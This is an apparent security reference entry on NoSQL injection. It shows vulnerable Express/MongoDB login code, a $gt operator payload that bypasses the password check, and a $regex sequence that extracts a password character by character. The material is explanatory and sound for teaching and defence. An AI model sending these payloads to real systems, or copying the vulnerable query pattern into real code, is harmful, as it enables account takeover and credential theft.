NoSQL Injection
HighNoSQL Injection
Definition
NoSQL Injection is a vulnerability that lets an attacker interfere with the queries of NoSQL databases (such as MongoDB, CouchDB) by injecting malicious operators or expressions. Unlike SQL Injection, it abuses the structure of object/JSON-based queries and DBMS-specific operators.
Impact
Authentication bypass without credentialsExtracting database data character by characterModifying or deleting documentsDenial of service with expensive regular expressions (ReDoS)Access to unauthorized collections and data
Examples
NoSQL Injection authentication bypass in MongoDB
By sending a MongoDB operator ($gt, $ne, $regex) instead of a string, the password condition is always true. This lets you authenticate as any user without knowing their password.
// Vulnerable code (Express + MongoDB)
const user = await User.findOne({
username: req.body.username,
password: req.body.password
});
// Legitimate request
POST /api/login
{"username": "admin", "password": "secret123"}
// NoSQL injection payload
POST /api/login
{"username": "admin", "password": {"$gt": ""}}
// The resulting query:
// db.users.findOne({username: "admin", password: {$gt: ""}})
// $gt: "" is true for any string, full bypassNoSQL Injection with $regex to extract data
Using the $regex operator, the attacker can check character by character whether the password starts with a given pattern, extracting the full password through a brute-force attack based on regular expressions.
// Password extraction character by character
POST /api/login
{"username": "admin", "password": {"$regex": "^a"}} // fails
{"username": "admin", "password": {"$regex": "^s"}} // success
{"username": "admin", "password": {"$regex": "^se"}} // success
{"username": "admin", "password": {"$regex": "^sec"}} // success
// ... until the full password is extracted